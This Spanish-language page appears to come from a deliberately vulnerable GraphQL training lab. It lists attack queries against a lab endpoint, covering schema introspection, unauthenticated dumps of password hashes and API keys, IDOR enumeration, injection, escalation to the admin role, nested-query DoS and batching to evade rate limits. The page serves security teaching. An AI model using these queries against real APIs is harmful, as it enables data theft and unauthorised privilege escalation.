CRITICAL

GraphQL Attacks — introspección, IDOR, inyección, escalada de privilegios

Seis vulnerabilidades comunes en APIs GraphQL: introspección habilitada, acceso sin autorización, IDOR, inyección en queries, escalada de privilegios y batching para evadir rate limiting

Ejemplos de explotación:

Ver documentación del lab

Lista de ataques disponibles y formato de las queries

/api/lab/graphql
Introspección — mapa completo del schema

__schema expone todos los tipos, campos, mutations y argumentos. El atacante conoce toda la API

/api/lab/graphql?query=__schema{types{name,fields{name,type}}}
Query users — dump completo sin autenticación

users {} devuelve todos los usuarios incluyendo passwordHash y apiKey sin ningún control de acceso

/api/lab/graphql?query={users{id,username,email,role,passwordHash,apiKey}}
IDOR — acceder a usuario admin (id=1)

user(id:'1') sin verificar si el solicitante tiene permisos — acceso directo al admin

/api/lab/graphql?query={user(id:"1"){username,email,role,apiKey}}
IDOR — enumerar usuarios (id=2, id=3)

Iterar ids secuenciales para extraer todos los usuarios de la API

/api/lab/graphql?query={user(id:"2"){username,email,apiKey}}
Inyección en searchUser — búsqueda sin sanitizar

searchUser(query: 'admin') sin escape — caracteres especiales pueden afectar la query interna

/api/lab/graphql?query={searchUser(query:"admin"){username,email,passwordHash}}
Escalada de privilegios — updateUser role=admin

updateUser(id:'2', role:'admin') sin verificar si el caller es admin — cualquiera puede escalar

/api/lab/graphql?query=mutation{updateUser(id:"2",role:"admin"){id,role}}
DoS — query con profundidad excesiva (9+ niveles)

Sin depth limiting el servidor procesa queries exponencialmente anidadas hasta agotar memoria

/api/lab/graphql?query={{{{{{{{{}}}}}}}}}
Batching abuse — múltiples operaciones en 1 request

Enviar array de mutations en una sola petición HTTP elude el rate limiting por endpoint

/api/lab/graphql

Vulnerabilidad Crítica

GraphQL expone un endpoint único con múltiples vectores: (1) Introspección habilitada en producción revela el schema completo; (2) Sin control de acceso por campo, passwordHash y apiKey son accesibles; (3) IDOR por id secuencial en user(id:); (4) Inyección en campos de búsqueda no sanitizados; (5) Mutations de escalada de privilegios sin verificación del caller; (6) Batching abuse para evadir rate limiting enviando N operaciones en un array JSON; (7) Nested query DoS sin depth limiting. OWASP A01/A03:2021 — CVSS 9.1.

Esta aplicación es vulnerable por diseño - Solo para propósitos educativos

© 2025 Aitana Security Lab